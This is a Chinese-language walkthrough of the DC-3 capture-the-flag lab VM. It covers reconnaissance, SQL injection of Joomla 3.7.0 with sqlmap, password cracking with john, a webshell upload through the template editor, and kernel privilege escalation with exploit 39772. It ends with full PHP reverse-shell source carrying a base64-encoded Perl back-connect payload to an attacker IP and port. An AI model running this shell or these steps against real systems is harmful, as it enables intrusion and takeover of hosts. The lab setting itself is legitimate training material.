目录
DC-3靶机
DC-3靶场下载地址http://www.five86.com/downloads/DC-3-2.zip
安装按照我DC-1的文章
如果遇到 “IDE 设备(磁盘/CD-ROM)配置不正确。“ide1:1”上具有一个 IDE 从设备,但没有主设备。此配置在虚拟机中无法正常运行。请使用配置编辑器将磁盘/CD-ROM 从“ide1:1”移到“id...”的错误, 参照文章IDE 设备(磁盘/CD-ROM)配置不正确。“ide1:1”上具有一个 IDE 从设备,但没有主设备。此配置在虚拟机中无法正常运行。请使用配置编辑器将磁盘/CD-ROM 从“ide1:1”移到“id..._weixin_30673715的博客-CSDN博客
配置完成后 确保DC-3和kali处于同一网段下
1.主机发现
arp-scan -l
对比靶机MAC地址确定靶机IP为192.168.20.140
2.端口扫描
nmap -sV -p- 192.168.20.140
3.网页信息探测
使用火狐打开网页 192.168.20.140:80
发现有登录界面 先继续进行探测
用whatweb探测站点信息
whatweb -v 192.168.20.140
得出的信息如上 但是并未发现关键有用的信息
4.敏感目录扫描
使用nikto进行敏感目录扫描
nikto -host 192.168.20.140
发现如下敏感目录 逐一输入在浏览器中进行探测
成功找到后台登录界面
并且很明显网站是joomla的cms版本
5.漏洞查找和漏洞利用
漏洞查找
joomscan
joomscan是一款开源的且针对joomla的扫描器,kali可以用命令apt install joomscan安装该工具
利用joomscan进行joomla信息探测
joomscan -u 192.168.20.140
得到joomla版本信息
既然得到了joomla版本信息 就可以直接查找该版本对应的漏洞 并加以利用进行渗透
searchsploit
利用searchsploit进行对应版本的漏洞探测
searchsploit Joomla 3.7.0
可以看到 该版本有SQL注入漏洞和XSS漏洞
因为我们要得到网站后台的登录账号和密码 而账号和密码是存储在数据库之中 所以要利用SQL注入漏洞进行攻击 从而拿到账号密码
查找漏洞对应路径
searchsploit -p 42033.txt
漏洞利用
sqlmap
将漏洞复制到桌面
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt Desktop/42033.txt
打开文件后 文件中具体描述了注入点和payload
同时还发现了对应的sqlmap命令
sqlmap是一款强大的SQL注入工具 使用其可以大大提高SQL注入的效率 并且kali中自带sqlmap
复制sqlmap的命令
在终端中运行sqlmap(注意url中localhost要替换成靶机的IP地址) 选择y或者n时 手动输入y并且回车
成功爆库
选择joomladb数据库继续进行注入 命令如下(dbs参数用来爆破数据库名 得出数据库名后 要将dbs参数删去)
运行
成功爆表
通过分析表名 猜测账号和密码存储在#__users表中
选择#__users表继续进行注入 命令如下(表名有特殊符号 加上引号)
运行 一直回车就好了
成功爆列
选择username和password两个字段进行查看账户和用户名 命令如下
运行
成功爆值
发现password中的数值并不是明文 而是被加密了 显然这是哈希密码 可以通过kali工具john进行爆破解密
John
在桌面创建一个文件 将hash密码粘贴进去并保存
使用john爆破 命令如下
john Desktop/DC-3-hash
因为我之前解密过该文件 所以需要加上参数show查看历史解密结果
密码为snoopy
使用得到的账号密码进行登录后台
成功进入后台
反弹shell
在Templates: Customise (Beez3)模块中找到了文件上传点
可以用一句话木马进行上传 也可用反弹shell
这里采用反弹shell(代码放在最后)
点击new file 创建一个名为web.php的文件
创建成功后 写入反弹shell代码 并修改其中接收的ip地址(kali地址)以及端口
点击save保存 就上传成功了
joomla框架下 模块会单独放在一个文件夹里/templates/,而beez3模块就在/templates/beez3/里面,刚才创建的webshell路径为 http://192.168.20.140/templates/beez3/web.php
打开kali监听8888端口
nc -lvvp 8888
浏览器访问shell地址
成功反弹shell
交互式shell
利用python获取交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
whoami查看权限
并不是root权限 所以要进行提权
6.收集信息
拿到shell之后获得了一定权限 就要进行信息收集 查看是否有遗漏的信息
linux系统下要尤其注意 /etc/passwd 和/etc/crontab两个文件 前者用来存储用户名 后者用来存储定时任务 有时候都是解题的关键
查看/etc/passwd
发现有个dc3用户 本来想尝试hydra爆破 用ssh连接 后面发现并没有开放ssh服务的端口 于是果断放弃
查看etc/crontab
暂未发现可疑点
再寻找一下根下有无flag文件
find / -name flag* 发现有非常多结果 但都不是我们需要的
暂无可用信息 开始尝试提权
7.主机渗透
系统漏洞查找
经过尝试发现 这里没法用SUID和git进行提权 于是利用系统漏洞进行提权
cat /etc/issue (查看操作系统版本信息)
确定了版本信息之后 直接上searchsploit
找到4.4.x的漏洞 后面对应Privilege Escalation(提权)
查看漏洞路径
复制到桌面
cp /usr/share/exploitdb/exploits/linux/local/39772.txt Desktop/39772.txt
打开文件
列出了漏洞产生的原因以及描述和漏洞利用的方法
最后一行附上了exp的链接
exp提权
网址打开下载链接后进行下载
点击ok 下载到了downloads中
移动到本地桌面 并解压到本地桌面
用python开启http服务
python -m http.server 8080 #python3开启服务
python -m SimpleHTTPServer 8080 #python2开启服务器
浏览器访问
出现如上界面就是服务开启成功了
进入39772/文件夹 复制exploit.tar连接地址
回到连接靶机的终端 利用wget命令下载
下载之后解压文件
tar -xvf exploit.tar
进入exploit文件夹
根据39772.txt的方法执行两个文件
执行文件
./compile.sh
./doubleput
回车 whoami查看权限
成功获取root权限
进入/root目录下 查看最后的flag文件
成功通关!!!
反弹shell代码
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>